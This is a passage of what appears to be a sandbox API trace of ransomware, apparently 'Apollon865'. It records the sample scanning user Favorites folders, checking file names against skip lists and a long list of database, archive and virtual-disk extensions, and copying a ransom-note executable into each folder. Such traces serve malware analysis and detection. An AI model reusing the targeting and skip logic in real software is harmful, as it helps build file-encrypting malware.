	[0036.840] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0036.840] lstrlenW (lpString="sdb") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0036.840] lstrlenW (lpString="sdc") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0036.840] lstrlenW (lpString="sdf") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0036.841] lstrlenW (lpString="sis") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0036.841] lstrlenW (lpString="spq") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0036.841] lstrlenW (lpString="te") returned 2
	[0036.841] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0036.841] lstrlenW (lpString="teacher") returned 7
	[0036.841] lstrcmpiW (lpString1="tos.url", lpString2="teacher") returned 1
	[0036.841] lstrlenW (lpString="tmd") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0036.841] lstrlenW (lpString="tps") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0036.841] lstrlenW (lpString="trc") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0036.841] lstrlenW (lpString="trc") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0036.841] lstrlenW (lpString="trm") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0036.841] lstrlenW (lpString="udb") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0036.841] lstrlenW (lpString="udl") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0036.841] lstrlenW (lpString="usr") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0036.841] lstrlenW (lpString="v12") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0036.841] lstrlenW (lpString="vis") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0036.841] lstrlenW (lpString="vpd") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0036.841] lstrlenW (lpString="vvv") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0036.841] lstrlenW (lpString="wdb") returned 3
	[0036.841] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0036.841] lstrlenW (lpString="wmdb") returned 4
	[0036.841] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0036.841] lstrlenW (lpString="wrk") returned 3
	[0036.842] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0036.842] lstrlenW (lpString="xdb") returned 3
	[0036.842] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0036.842] lstrlenW (lpString="xld") returned 3
	[0036.842] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0036.842] lstrlenW (lpString="xmlff") returned 5
	[0036.842] lstrcmpiW (lpString1="s.url", lpString2="xmlff") returned -1
	[0036.842] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="Apollon865.txt.exe") returned 1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".") returned 1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="..") returned 1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="windows") returned -1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="bootmgr") returned 1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="temp") returned -1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="pagefile.sys") returned -1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="boot") returned 1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="ids.txt") returned 1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="ntuser.dat") returned -1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="perflogs") returned -1
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="MSBuild") returned 1
	[0036.842] lstrlenW (lpString="MSN Entertainment.url") returned 21
	[0036.842] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url") returned 53
	[0036.842] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MSN Entertainment.url" | out: lpString1="MSN Entertainment.url") returned="MSN Entertainment.url"
	[0036.842] lstrlenW (lpString="MSN Entertainment.url") returned 21
	[0036.842] lstrlenW (lpString="Apollon865") returned 10
	[0036.842] lstrcmpiW (lpString1="inment.url", lpString2="Apollon865") returned 1
	[0036.842] lstrlenW (lpString=".dll") returned 4
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".dll") returned 1
	[0036.842] lstrlenW (lpString=".lnk") returned 4
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".lnk") returned 1
	[0036.842] lstrlenW (lpString=".ini") returned 4
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".ini") returned 1
	[0036.842] lstrlenW (lpString=".sys") returned 4
	[0036.842] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".sys") returned 1
	[0036.842] lstrlenW (lpString="MSN Entertainment.url") returned 21
	[0036.842] lstrlenW (lpString="bak") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0036.843] lstrlenW (lpString="ba_") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0036.843] lstrlenW (lpString="dbb") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0036.843] lstrlenW (lpString="vmdk") returned 4
	[0036.843] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0036.843] lstrlenW (lpString="rar") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0036.843] lstrlenW (lpString="zip") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0036.843] lstrlenW (lpString="tgz") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0036.843] lstrlenW (lpString="vbox") returned 4
	[0036.843] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0036.843] lstrlenW (lpString="vdi") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0036.843] lstrlenW (lpString="vhd") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0036.843] lstrlenW (lpString="vhdx") returned 4
	[0036.843] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0036.843] lstrlenW (lpString="avhd") returned 4
	[0036.843] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0036.843] lstrlenW (lpString="db") returned 2
	[0036.843] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0036.843] lstrlenW (lpString="db2") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0036.843] lstrlenW (lpString="db3") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0036.843] lstrlenW (lpString="dbf") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0036.843] lstrlenW (lpString="mdf") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0036.843] lstrlenW (lpString="mdb") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0036.843] lstrlenW (lpString="sql") returned 3
	[0036.843] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0036.843] lstrlenW (lpString="sqlite") returned 6
	[0036.843] lstrcmpiW (lpString1="nt.url", lpString2="sqlite") returned -1
	[0036.843] lstrlenW (lpString="sqlite3") returned 7
	[0036.844] lstrcmpiW (lpString1="ent.url", lpString2="sqlite3") returned -1
	[0036.844] lstrlenW (lpString="sqlitedb") returned 8
	[0036.844] lstrcmpiW (lpString1="ment.url", lpString2="sqlitedb") returned -1
	[0036.844] lstrlenW (lpString="xml") returned 3
	[0036.844] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0036.844] lstrlenW (lpString="$er") returned 3
	[0036.844] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0036.844] lstrlenW (lpString="4dd") returned 3
	[0036.844] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0036.844] lstrlenW (lpString="4dl") returned 3
	[0036.844] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0036.844] lstrlenW (lpString="^^^") returned 3
	[0036.844] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0036.844] lstrlenW (lpString="abs") returned 3
	[0036.844] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0036.844] lstrlenW (lpString="abx") returned 3
	[0036.844] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0036.844] lstrlenW (lpString="accdb") returned 5
	[0036.844] lstrcmpiW (lpString1="t.url", lpString2="accdb") returned 1
	[0036.844] lstrlenW (lpString="accdc") returned 5
	[0036.844] lstrcmpiW (lpString1="t.url", lpString2="accdc") returned 1
	[0036.844] lstrlenW (lpString="accde") returned 5
	[0036.844] lstrcmpiW (lpString1="t.url", lpString2="accde") returned 1
	[0036.844] lstrlenW (lpString="accdr") returned 5
	[0036.844] lstrcmpiW (lpString1="t.url", lpString2="accdr") returned 1
	[0036.844] lstrlenW (lpString="accdt") returned 5
	[0036.844] lstrcmpiW (lpString1="t.url", lpString2="accdt") returned 1
	[0036.844] lstrlenW (lpString="accdw") returned 5
	[0036.844] lstrcmpiW (lpString1="t.url", lpString2="accdw") returned 1
	[0036.844] lstrlenW (lpString="accft") returned 5
	[0036.844] lstrcmpiW (lpString1="t.url", lpString2="accft") returned 1
	[0036.844] lstrlenW (lpString="adb") returned 3
	[0036.844] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.844] lstrlenW (lpString="adb") returned 3
	[0036.844] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.844] lstrlenW (lpString="ade") returned 3
	[0036.844] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0036.844] lstrlenW (lpString="adf") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0036.845] lstrlenW (lpString="adn") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0036.845] lstrlenW (lpString="adp") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0036.845] lstrlenW (lpString="alf") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0036.845] lstrlenW (lpString="ask") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0036.845] lstrlenW (lpString="btr") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0036.845] lstrlenW (lpString="cat") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0036.845] lstrlenW (lpString="cdb") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0036.845] lstrlenW (lpString="ckp") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0036.845] lstrlenW (lpString="cma") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0036.845] lstrlenW (lpString="cpd") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0036.845] lstrlenW (lpString="dacpac") returned 6
	[0036.845] lstrcmpiW (lpString1="nt.url", lpString2="dacpac") returned 1
	[0036.845] lstrlenW (lpString="dad") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0036.845] lstrlenW (lpString="dadiagrams") returned 10
	[0036.845] lstrcmpiW (lpString1="inment.url", lpString2="dadiagrams") returned 1
	[0036.845] lstrlenW (lpString="daschema") returned 8
	[0036.845] lstrcmpiW (lpString1="ment.url", lpString2="daschema") returned 1
	[0036.845] lstrlenW (lpString="db-journal") returned 10
	[0036.845] lstrcmpiW (lpString1="inment.url", lpString2="db-journal") returned 1
	[0036.845] lstrlenW (lpString="db-shm") returned 6
	[0036.845] lstrcmpiW (lpString1="nt.url", lpString2="db-shm") returned 1
	[0036.845] lstrlenW (lpString="db-wal") returned 6
	[0036.845] lstrcmpiW (lpString1="nt.url", lpString2="db-wal") returned 1
	[0036.845] lstrlenW (lpString="dbc") returned 3
	[0036.845] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0036.846] lstrlenW (lpString="dbs") returned 3
	[0036.846] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0036.846] lstrlenW (lpString="dbt") returned 3
	[0036.846] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0036.846] lstrlenW (lpString="dbv") returned 3
	[0036.846] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0036.846] lstrlenW (lpString="dbx") returned 3
	[0036.846] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0036.846] lstrlenW (lpString="dcb") returned 3
	[0036.846] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0036.846] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MSN Money.url" | out: lpString1="MSN Money.url") returned="MSN Money.url"
	[0036.846] lstrlenW (lpString="MSN Money.url") returned 13
	[0036.846] lstrlenW (lpString="Apollon865") returned 10
	[0036.846] lstrcmpiW (lpString1=" Money.url", lpString2="Apollon865") returned -1
	[0036.846] lstrlenW (lpString=".dll") returned 4
	[0036.846] lstrcmpiW (lpString1="MSN Money.url", lpString2=".dll") returned 1
	[0036.846] lstrlenW (lpString=".lnk") returned 4
	[0036.846] lstrcmpiW (lpString1="MSN Money.url", lpString2=".lnk") returned 1
	[0036.846] lstrlenW (lpString=".ini") returned 4
	[0036.846] lstrcmpiW (lpString1="MSN Money.url", lpString2=".ini") returned 1
	[0036.846] lstrlenW (lpString=".sys") returned 4
	[0036.846] lstrcmpiW (lpString1="MSN Money.url", lpString2=".sys") returned 1
	[0036.846] lstrlenW (lpString="MSN Money.url") returned 13
	[0036.846] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MSN Sports.url" | out: lpString1="MSN Sports.url") returned="MSN Sports.url"
	[0036.846] lstrlenW (lpString="MSN Sports.url") returned 14
	[0036.846] lstrlenW (lpString="Apollon865") returned 10
	[0036.846] lstrcmpiW (lpString1="Sports.url", lpString2="Apollon865") returned 1
	[0036.846] lstrlenW (lpString=".dll") returned 4
	[0036.846] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".dll") returned 1
	[0036.846] lstrlenW (lpString=".lnk") returned 4
	[0036.846] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".lnk") returned 1
	[0036.846] lstrlenW (lpString=".ini") returned 4
	[0036.846] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".ini") returned 1
	[0036.847] lstrlenW (lpString=".sys") returned 4
	[0036.847] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".sys") returned 1
	[0036.847] lstrlenW (lpString="MSN Sports.url") returned 14
	[0036.847] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MSN.url" | out: lpString1="MSN.url") returned="MSN.url"
	[0036.847] lstrlenW (lpString="MSN.url") returned 7
	[0036.847] lstrlenW (lpString="Apollon865") returned 10
	[0036.847] lstrlenW (lpString=".dll") returned 4
	[0036.847] lstrcmpiW (lpString1="MSN.url", lpString2=".dll") returned 1
	[0036.847] lstrlenW (lpString=".lnk") returned 4
	[0036.847] lstrcmpiW (lpString1="MSN.url", lpString2=".lnk") returned 1
	[0036.847] lstrlenW (lpString=".ini") returned 4
	[0036.847] lstrcmpiW (lpString1="MSN.url", lpString2=".ini") returned 1
	[0036.847] lstrlenW (lpString=".sys") returned 4
	[0036.847] lstrcmpiW (lpString1="MSN.url", lpString2=".sys") returned 1
	[0036.847] lstrlenW (lpString="MSN.url") returned 7
	[0036.847] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MSNBC News.url" | out: lpString1="MSNBC News.url") returned="MSNBC News.url"
	[0036.847] lstrlenW (lpString="MSNBC News.url") returned 14
	[0036.847] lstrlenW (lpString="Apollon865") returned 10
	[0036.847] lstrcmpiW (lpString1="C News.url", lpString2="Apollon865") returned 1
	[0036.847] lstrlenW (lpString=".dll") returned 4
	[0036.847] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".dll") returned 1
	[0036.847] lstrlenW (lpString=".lnk") returned 4
	[0036.847] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".lnk") returned 1
	[0036.847] lstrlenW (lpString=".ini") returned 4
	[0036.847] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".ini") returned 1
	[0036.847] lstrlenW (lpString=".sys") returned 4
	[0036.847] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".sys") returned 1
	[0036.847] lstrlenW (lpString="MSNBC News.url") returned 14
	[0036.847] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Favorites\\Microsoft Websites", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites"
	[0036.847] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0036.847] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0036.847] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned 45
	[0036.848] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites"
	[0036.848] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.848] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.902] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.902] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e295590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e295590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca290
	[0036.903] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.903] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.903] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.903] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e295590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e295590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.903] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.903] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.903] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.903] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.903] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e295590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e295590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.903] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.903] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="Apollon865.txt.exe") returned 1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".") returned 1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="..") returned 1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="windows") returned -1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="bootmgr") returned 1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="temp") returned -1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="pagefile.sys") returned -1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="boot") returned 1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="ids.txt") returned 1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="ntuser.dat") returned -1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="perflogs") returned -1
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2="MSBuild") returned -1
	[0036.903] lstrlenW (lpString="IE Add-on site.url") returned 18
	[0036.903] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*") returned 47
	[0036.903] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="IE Add-on site.url" | out: lpString1="IE Add-on site.url") returned="IE Add-on site.url"
	[0036.903] lstrlenW (lpString="IE Add-on site.url") returned 18
	[0036.903] lstrlenW (lpString="Apollon865") returned 10
	[0036.903] lstrcmpiW (lpString1="n site.url", lpString2="Apollon865") returned 1
	[0036.903] lstrlenW (lpString=".dll") returned 4
	[0036.903] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".dll") returned 1
	[0036.904] lstrlenW (lpString=".lnk") returned 4
	[0036.904] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".lnk") returned 1
	[0036.904] lstrlenW (lpString=".ini") returned 4
	[0036.904] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".ini") returned 1
	[0036.904] lstrlenW (lpString=".sys") returned 4
	[0036.904] lstrcmpiW (lpString1="IE Add-on site.url", lpString2=".sys") returned 1
	[0036.904] lstrlenW (lpString="IE Add-on site.url") returned 18
	[0036.904] lstrlenW (lpString="bak") returned 3
	[0036.904] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0036.904] lstrlenW (lpString="ba_") returned 3
	[0036.904] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0036.904] lstrlenW (lpString="dbb") returned 3
	[0036.904] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0036.904] lstrlenW (lpString="vmdk") returned 4
	[0036.904] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0036.904] lstrlenW (lpString="rar") returned 3
	[0036.904] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0036.904] lstrlenW (lpString="zip") returned 3
	[0036.904] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0036.904] lstrlenW (lpString="tgz") returned 3
	[0036.904] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0036.904] lstrlenW (lpString="vbox") returned 4
	[0036.904] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0036.904] lstrlenW (lpString="vdi") returned 3
	[0036.904] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0036.904] lstrlenW (lpString="vhd") returned 3
	[0036.904] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0036.904] lstrlenW (lpString="vhdx") returned 4
	[0036.904] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0036.904] lstrlenW (lpString="avhd") returned 4
	[0036.904] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0036.904] lstrlenW (lpString="db") returned 2
	[0036.904] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0036.904] lstrlenW (lpString="db2") returned 3
	[0036.904] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0036.904] lstrlenW (lpString="db3") returned 3
	[0036.904] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0036.904] lstrlenW (lpString="dbf") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0036.905] lstrlenW (lpString="mdf") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0036.905] lstrlenW (lpString="mdb") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0036.905] lstrlenW (lpString="sql") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0036.905] lstrlenW (lpString="sqlite") returned 6
	[0036.905] lstrcmpiW (lpString1="te.url", lpString2="sqlite") returned 1
	[0036.905] lstrlenW (lpString="sqlite3") returned 7
	[0036.905] lstrcmpiW (lpString1="ite.url", lpString2="sqlite3") returned -1
	[0036.905] lstrlenW (lpString="sqlitedb") returned 8
	[0036.905] lstrcmpiW (lpString1="site.url", lpString2="sqlitedb") returned -1
	[0036.905] lstrlenW (lpString="xml") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0036.905] lstrlenW (lpString="$er") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0036.905] lstrlenW (lpString="4dd") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0036.905] lstrlenW (lpString="4dl") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0036.905] lstrlenW (lpString="^^^") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0036.905] lstrlenW (lpString="abs") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0036.905] lstrlenW (lpString="abx") returned 3
	[0036.905] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0036.905] lstrlenW (lpString="accdb") returned 5
	[0036.905] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1
	[0036.905] lstrlenW (lpString="accdc") returned 5
	[0036.905] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1
	[0036.905] lstrlenW (lpString="accde") returned 5
	[0036.905] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1
	[0036.905] lstrlenW (lpString="accdr") returned 5
	[0036.905] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1
	[0036.905] lstrlenW (lpString="accdt") returned 5
